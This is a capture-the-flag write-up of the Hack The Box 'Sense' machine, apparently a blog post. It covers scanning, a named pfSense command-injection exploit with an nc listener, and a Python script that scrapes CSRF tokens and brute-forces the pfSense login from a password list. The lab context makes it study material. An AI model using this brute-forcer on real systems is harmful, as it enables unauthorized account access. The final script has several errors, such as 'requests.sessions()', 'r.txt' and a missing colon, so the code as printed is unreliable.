HTB Sense (Linux) Write-up — Simple python script for brute forcing

Gorigorisensei
5 min readJan 25, 2022

--

I followed a walk-through video by IppSec to crack the Sense box on HTB.

Source: https://www.youtube.com/watch?v=d2nVDoVr0jE

This write-up demonstrates how I got the root flag and how IppSec introduced one way to write a python script to brute force credentials with burpsuite.

  1. Using CVE to root the machine.

Nmap Scan Result:

Host is up (0.11s latency).

Not shown: 65533 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

80/tcp open http lighttpd 1.4.35

|_http-title: Did not follow redirect to https://10.129.168.80/

|_http-server-header: lighttpd/1.4.35

443/tcp open ssl/http lighttpd 1.4.35

|_http-title: Login

| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US

| Not valid before: 2017–10–14T19:21:35

|_Not valid after: 2023–04–06T19:21:35

|_ssl-date: TLS randomness does not represent time

|_http-server-header: lighttpd/1.4.35

Go buster Time!

gobuster dir -u https://10.129.168.90 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt > gobusteroutput.txt

TIL:

-k ignores ssl certificate

-x specifies file extensions

Two txt files were found

  • changelog.txt
  • system-users.txt

System-users.txt has some login info

pfSense < 2.1.4 — ‘status_rrd_graph_img.php’ Command Injection — PHP webapps Exploit (exploit-db.com)

Used the exploit with the valid options while setting up a listener on our end with nc.

and we are root! This was pretty simple except I learned a few options on gobuster. Now we will practice writing a brute force python script.

Brute forcing with a python script

  1. open burp — intercept the login traffic

What fields are needed? __csrf_magic=sid%3Ae02ae44bc2489bbc39bff40036d2cd98829d6bef%2C1643129962&usernamefld=aaaa&passwordfld=bbbb&login=Login$

2. Create a python script.

#This simple script sends a http request without SSL verification
import requests
import re

re_csrf = ‘csrfMagicToken = “(.+?)”’

s = requests.session()

r = s.get(‘https://10.129.168.197/index.php', verify=False) #this ignores SSL
print(r.text)

  • Now we modified the script to capture the Token we need

import requests
import re

re_csrf = ‘csrfMagicToken = “(.+?)”’

s = requests.session()

r = s.get(‘https://10.129.168.197/index.php', verify=False) #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.

print(csrf)

Weird warning appears in the output:

How do we get rid of it?

https://stackoverflow.com/questions/27981545/suppress-insecurerequestwarning-unverified-https-request-is-being-made-in-pytho Found this solution and added the following lines to our script/

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

The error disappeared!

  • Now we can make a post request and add cookies with a dictionary form.

import requests
import re
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

re_csrf = ‘csrfMagicToken = “(.+?)”’

s = requests.session()

r = s.get(‘https://10.129.168.197/index.php', verify=False) #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {‘__csrf_magic’: csrf, ‘usernamefld’: ‘ippsec’, ‘passwordfld’: ‘something’, ‘login’:’Login’}

r = s.post(‘https://10.129.168.197/index.php', data=cookie)
print(csrf)
print(r.text)

We can see that the request was made properly by seeing the incorrect credential error.

Let’s see this request in burp: (NEW)

- change where the requests are going to 127.0.0.1(https to http), get rid of the insecure warning request module, and SSL bypass.

import requests
import re
import requests

re_csrf = ‘csrfMagicToken = “(.+?)”’

s = requests.session()

r = s.post(‘http://127.0.0.1/index.php') #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {‘__csrf_magic’: csrf, ‘usernamefld’: ‘ippsec’, ‘passwordfld’: ‘something’, ‘login’:’Login’}

r = s.post(‘http://127.0.0.1/index.php', data=cookie)
print(csrf)
print(r.text)

in burp, go to option > Bind on port 80 > Request handling > Redirect to 10.129.168.197(victim) and tick “Force use of SSL” & “Intercept Server Responses”

import requests
import re
import requests

re_csrf = ‘csrfMagicToken = “(.+?)”’

s = requests.session()

r = s.post(‘http://127.0.0.1/index.php') #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {‘__csrf_magic’: csrf, ‘usernamefld’: ‘rohit’, ‘passwordfld’: ‘pfsense’, ‘login’:’Login’}

r = s.post(‘http://127.0.0.1/index.php', data=cookie)
print(csrf)

What happens if we successfully login?

#modified credentials

import requests
import re
import requests

re_csrf = ‘csrfMagicToken = “(.+?)”’

s = requests.session()

r = s.post(‘http://127.0.0.1/index.php') #this ignores SSL
csrf = re.findall(re_csrf, r.text)[0] #captures the first token we see.
cookie = {‘__csrf_magic’: csrf, ‘usernamefld’: ‘rohit’, ‘passwordfld’: ‘pfsense’, ‘login’:’Login’}

r = s.post(‘http://127.0.0.1/index.php', data=cookie)
print(csrf)

Try using interractive python (ipython)
- open ipython (installation guide: https://ipython.org/install.html )
paste the code
- Once you execute it, you can try getting all kinds of information with r. formatting. i.e) r.cookies, r.content, etc.

Now, Create a password list that contains the actual password to see if the bruteforce works

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning #this part is to get rid of error codes when sending a http request
import re

re_csrf = ‘csrfMagicToken = “(.+?)”’ #without this, the request won’t be validated
#we need to extract the token as it’s needed for the login

s= requests.sessions()
lines =open(‘passwordlist.txt’)
for password in lines:
r = s.post(‘http://127.0.0.1/index.php') #you need to send a get request first
csrf = re.findall(re_csrf, r.text)[0]
login = {__csrf_magic: csrf, ‘usernamefld’: ‘rohit’, ‘passwordfld’: password[:-1], ‘login’: ‘Login’}
r = s.post(‘http://127.0.0.1/index.php', data=login) #[:-1] is needed, otherwise the request adds a character at the end
if “Dashboard” in r.txt
print(“Valid Login “ + “password was “ + password)
else:
print(“Failed”)
s.cookies,ckear() #clear php session ID
print(r.status_code)
print(csrf)

--

--